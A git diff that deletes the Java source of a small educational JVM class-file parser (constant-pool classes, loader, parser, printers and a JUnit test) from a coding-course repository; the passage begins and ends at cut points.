\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/MethodRefInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 6e53f8db5c..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.github.orajavac.coding2017.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-	
-	@Override
-	public void accept(Visistor visitor) {
-		visitor.visitMethodRef(this);
-		
-	}
-	
-}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NameAndTypeInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 0f25bb4ef6..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.github.orajavac.coding2017.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-
-	@Override
-	public void accept(Visistor visitor) {
-		visitor.visitNameAndType(this);
-		
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NullConstantInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 64eff24eef..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.orajavac.coding2017.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	
-	@Override
-	public void accept(Visistor visitor) {
-		
-		
-	}
-	
-}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/StringInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/StringInfo.java
deleted file mode 100644
index 2224a46e73..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.github.orajavac.coding2017.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-	
-	@Override
-	public void accept(Visistor visitor) {
-		visitor.visitString(this);
-	}
-}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/UTF8Info.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/UTF8Info.java
deleted file mode 100644
index bdceafe0f2..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.github.orajavac.coding2017.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	
-	@Override
-	public void accept(Visistor visitor) {
-		visitor.visitUTF8(this);
-	}
-
-}
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/field/Field.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/field/Field.java
deleted file mode 100644
index 40c8ad3a2c..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/field/Field.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.github.orajavac.coding2017.jvm.field;
-
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
-import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	public String toString() {
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		return name +":"+ desc;
-	}
-	
-	
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descIndex = iter.nextU2ToInt();
-		int attribCount = iter.nextU2ToInt();
-		//System.out.println("field attribute count:"+ attribCount);
-		
-		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
-		
-		if(attribCount > 0){
-			throw new RuntimeException("Field Attribute has not been implemented");
-		}
-		
-		return f;
-	}
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ByteCodeIterator.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 9cc6d5d9b9..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package com.github.orajavac.coding2017.jvm.loader;
-
-import java.util.Arrays;
-
-import com.github.orajavac.coding2017.jvm.util.Util;
-
-public class ByteCodeIterator {
-	
-	private byte[] codes;
-	
-	private int pos;
-	
-	public ByteCodeIterator(byte[] codes){
-		this.codes = codes;
-	}
-	
-	public byte[] getBytes(int len){
-		if (pos + len >= codes.length) {
-			throw new ArrayIndexOutOfBoundsException();
-		}
-
-		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
-		pos += len;
-		return data;
-	}
-	
-	public String nextU4ToHexString(){
-		return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
-	}
-
-	public int nextU1ToInt(){
-		return Util.byteToInt(new byte[]{codes[pos++]});
-	}
-	
-	public int nextU2ToInt(){
-		return Util.byteToInt(new byte[]{codes[pos++],codes[pos++]});
-	}
-	
-	public int nextU4ToInt(){
-		return Util.byteToInt(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
-	}
-	
-	public String nextUxToHexString(int len) {
-		byte[] tmp = new byte[len];
-
-		for (int i = 0; i < len; i++) {
-			tmp[i] = codes[pos++];
-		}
-		return Util.byteToHexString(tmp).toLowerCase();
-
-	}
-
-	public void back(int n) {
-		this.pos -= n;
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileLoader.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index ba0d450054..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,131 +0,0 @@
-package com.github.orajavac.coding2017.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-
-public class ClassFileLoader {
-	
-private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		
-		className = className.replace('.', File.separatorChar) +".class";
-		
-		for(String path : this.clzPaths){
-			
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}			
-		}
-		
-		return null;
-		
-		
-		
-	}
-	
-	private byte[] loadClassFile(String clzFileName) {
-		
-		File f = new File(clzFileName);
-		
-		try {
-		
-			return IOUtils.toByteArray(new FileInputStream(f));
-			
-		} catch (IOException e) {			
-			e.printStackTrace();
-			return null;
-		}
-	}
-	
-	
-	
-	public void addClassPath(String path) {
-		if(this.clzPaths.contains(path)){
-			return;
-		}
-		
-		this.clzPaths.add(path);
-		
-	}
-	
-	
-	
-	public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-		
-	}
-	
-	
-	
-	// ------------------------------backup------------------------
-    public String getClassPath_V1(){
-		
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<this.clzPaths.size();i++){
-			buffer.append(this.clzPaths.get(i));
-			if(i<this.clzPaths.size()-1){
-				buffer.append(";");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	private byte[] loadClassFile_V1(String clzFileName) {
-		
-		BufferedInputStream bis = null;
-		
-		try {
-			
-			File f = new File(clzFileName);
-			
-						
-			bis = new BufferedInputStream(new FileInputStream(f));
-			
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			
-			
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);				
-			}
-			
-			byte [] codes = bos.toByteArray();
-			
-			return codes;
-			
-		} catch(IOException e){
-			e.printStackTrace();
-			
-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {					
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-		
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileParser.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileParser.java
deleted file mode 100644
index 0cfb131cc3..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,139 +0,0 @@
-package com.github.orajavac.coding2017.jvm.loader;
-
-import com.github.orajavac.coding2017.jvm.clz.AccessFlag;
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.clz.ClassIndex;
-import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.constant.FieldRefInfo;
-import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
-import com.github.orajavac.coding2017.jvm.constant.NameAndTypeInfo;
-import com.github.orajavac.coding2017.jvm.constant.NullConstantInfo;
-import com.github.orajavac.coding2017.jvm.constant.StringInfo;
-import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
-import com.github.orajavac.coding2017.jvm.field.Field;
-import com.github.orajavac.coding2017.jvm.method.Method;
-
-public class ClassFileParser {
-	
-	public ClassFile parse(byte[] codes) {
-		ClassFile clzFile = new ClassFile();
-		ByteCodeIterator iter = new ByteCodeIterator(codes);
-		String magicNumber = iter.nextU4ToHexString();
-		System.out.println("magicNumber="+magicNumber);
-		clzFile.setMinorVersion(iter.nextU2ToInt());
-		clzFile.setMajorVersion(iter.nextU2ToInt());
-		
-		ConstantPool pool = parseConstantPool(iter);
-		clzFile.setConstPool(pool);
-
-		AccessFlag flag = parseAccessFlag(iter);
-		clzFile.setAccessFlag(flag);
-
-		ClassIndex clzIndex = parseClassInfex(iter);
-		clzFile.setClassIndex(clzIndex);
-
-		parseInterfaces(iter);
-		
-		parseFileds(clzFile,iter);
-		
-		parseMethods(clzFile,iter);
-		return clzFile;
-	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
-		return flag;
-	}
-
-	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-
-		int thisClassIndex = iter.nextU2ToInt();
-		int superClassIndex = iter.nextU2ToInt();
-
-		ClassIndex clzIndex = new ClassIndex();
-
-		clzIndex.setThisClassIndex(thisClassIndex);
-		clzIndex.setSuperClassIndex(superClassIndex);
-
-		return clzIndex;
-
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-		int constPoolCount = iter.nextU2ToInt();
-		System.out.println("Constant Pool Count :"+constPoolCount);
-		ConstantPool pool = new ConstantPool();
-		pool.addConstantInfo(new NullConstantInfo());
-		for (int i=1;i<constPoolCount-1;i++){
-			int tag = iter.nextU1ToInt();
-			if (tag == 7){	//class info
-				int uft8Index = iter.nextU2ToInt();
-				ClassInfo clzInfo = new ClassInfo(pool);
-				clzInfo.setUtf8Index(uft8Index);
-				pool.addConstantInfo(clzInfo);
-			}else if (tag == 1){	//utf-8 string
-				int len = iter.nextU2ToInt();
-				byte[] data = iter.getBytes(len);
-				String value = null;
-				try{
-					value = new String(data,"UTF-8");
-				}catch(Exception e){
-					e.printStackTrace();
-				}
-				UTF8Info utf8info = new UTF8Info(pool);
-				utf8info.setLength(len);
-				utf8info.setValue(value);
-				pool.addConstantInfo(utf8info);
-			}else if (tag == 8){
-				StringInfo info = new StringInfo(pool);
-				info.setIndex(iter.nextU2ToInt());
-				pool.addConstantInfo(info);
-			}else if (tag == 9){
-				FieldRefInfo field = new FieldRefInfo(pool);
-				field.setClassInfoIndex(iter.nextU2ToInt());
-				field.setNameAndTypeIndex(iter.nextU2ToInt());
-				pool.addConstantInfo(field);
-			}else if (tag == 10){
-				MethodRefInfo method = new MethodRefInfo(pool);
-				method.setClassInfoIndex(iter.nextU2ToInt());
-				method.setNameAndTypeIndex(iter.nextU2ToInt());
-				pool.addConstantInfo(method);
-			}else if (tag == 12){
-				NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
-				nameType.setIndex1(iter.nextU2ToInt());
-				nameType.setIndex2(iter.nextU2ToInt());
-				pool.addConstantInfo(nameType);
-			}else{
-				throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
-			}
-		}
-		System.out.println("Finished reading Constant pool ");
-		return pool;
-	}
-	
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2ToInt();
-
-		System.out.println("interfaceCount:" + interfaceCount);
-
-		// TODO : 如果实现了interface, 这里需要解析
-	}
-	
-	private void parseFileds(ClassFile clzFile,ByteCodeIterator iter){
-		int filedCount = iter.nextU2ToInt();
-		System.out.println("Field count:" + filedCount);
-		for (int i=1;i<=filedCount;i++){
-			Field f = Field.parse(clzFile.getConstantPool(), iter);
-			clzFile.addField(f);
-		}
-	}
-	
-	private void parseMethods(ClassFile clzFile,ByteCodeIterator iter){
-		int methodCount = iter.nextU2ToInt();
-		for (int i=1;i<=methodCount;i++){
-			Method m = Method.parse(clzFile, iter);
-			clzFile.addMethod(m);
-		}
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/test.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/test.java
deleted file mode 100644
index a504858eb3..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/loader/test.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.github.orajavac.coding2017.jvm.loader;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-
-public class test {
-
-	/**
-	 * @param args
-	 */
-	public static void main(String[] args) {
-		String path1 = "bin";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.github.orajavac.coding2017.jvm.test.EmployeeV1";
-		ClassFile clzFile = loader.loadClass(className);
-		
-		System.out.println("getMinorVersion="+clzFile.getMinorVersion());
-		System.out.println("getMajorVersion="+clzFile.getMajorVersion());
-	}
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/method/Method.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/method/Method.java
deleted file mode 100644
index 6f43647396..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/method/Method.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package com.github.orajavac.coding2017.jvm.method;
-
-import com.github.orajavac.coding2017.jvm.attr.AttributeInfo;
-import com.github.orajavac.coding2017.jvm.attr.CodeAttr;
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
-import com.github.orajavac.coding2017.jvm.field.Field;
-import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
-
-public class Method {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	private CodeAttr codeAttr;
-	
-	private ClassFile clzFile;
-	
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	public String toString() {
-		
-		ConstantPool pool = this.clzFile.getConstantPool();
-		StringBuilder buffer = new StringBuilder();
-		
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		
-		buffer.append(name).append(":").append(desc).append("\n");
-		
-		buffer.append(this.codeAttr.toString(pool));
-		
-		return buffer.toString();
-	}
-	
-	
-	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descIndex = iter.nextU2ToInt();
-		int attribCount = iter.nextU2ToInt();
-		Method m = new Method(clzFile,accessFlag,nameIndex,descIndex);
-		for (int j=1;j<=attribCount;j++){
-			int attrNameIndex = iter.nextU2ToInt();
-			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
-			iter.back(2);
-			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
-				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
-				m.setCodeAttr(codeAttr);
-			}else{
-				throw new RuntimeException("only CODE attribute is");
-			}
-		}
-		return m;
-		
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ClassFilePrinter.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index c46c21056d..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package com.github.orajavac.coding2017.jvm.print;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.constant.FieldRefInfo;
-import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
-import com.github.orajavac.coding2017.jvm.constant.NameAndTypeInfo;
-import com.github.orajavac.coding2017.jvm.constant.StringInfo;
-import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
-import com.github.orajavac.coding2017.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMinorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ConstantPoolPrinter.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index 6c4a3915bd..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,60 +0,0 @@
-	package com.github.orajavac.coding2017.jvm.print;
-
-import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.constant.FieldRefInfo;
-import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
-import com.github.orajavac.coding2017.jvm.constant.NameAndTypeInfo;
-import com.github.orajavac.coding2017.jvm.constant.StringInfo;
-import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		
-		ConstantInfo.Visistor visistor = new ConstantInfo.Visistor(){
-			public void visitString(StringInfo info){
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("String #").append(info.getIndex());
-			}
-			
-			public void visitClassInfo(ClassInfo info){
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("Class #").append(info.getUtf8Index()).append(" ")
-				.append(info.getClassName());
-			}
-			
-			public void visitFieldRef(FieldRefInfo info){
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("FiledRef #").append(info.getClassInfoIndex()).append(" ")
-				.append(info.getNameAndTypeIndex());
-			}
-			
-			public void visitMethodRef(MethodRefInfo info){
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("MethodRef #").append(info.getClassInfoIndex()).append(" ").append(info.getParamAndReturnType());
-			}
-			
-			public void visitNameAndType(NameAndTypeInfo info){
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("NameAndType #").append(info.getIndex1()).append(" ").append(info.getIndex2());
-			}
-			
-			public void visitUTF8(UTF8Info info){
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("UTF8 #").append(info.getValue());
-			}
-		};
-		
-		for (int i=0;i<pool.getSize();i++){
-			ConstantInfo constantInfo = pool.getConstantInfo(i);
-			constantInfo.accept(visistor);
-		}
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/ClassFileloaderTest.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index ce766190f3..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,264 +0,0 @@
-package com.github.orajavac.coding2017.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.clz.ClassIndex;
-import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
-import com.github.orajavac.coding2017.jvm.constant.NameAndTypeInfo;
-import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
-import com.github.orajavac.coding2017.jvm.field.Field;
-import com.github.orajavac.coding2017.jvm.loader.ClassFileLoader;
-import com.github.orajavac.coding2017.jvm.method.Method;
-
-public class ClassFileloaderTest {
-	private static final Object FULL_QUALIFIED_CLASS_NAME = null;
-	static String path1 = "bin";
-	static String path2 = "com.github.orajavac.coding2017.jvm.test.EmployeeV1";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.github.orajavac.coding2017.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.github.orajavac.coding2017.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1088, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.github.orajavac.coding2017.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(51, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
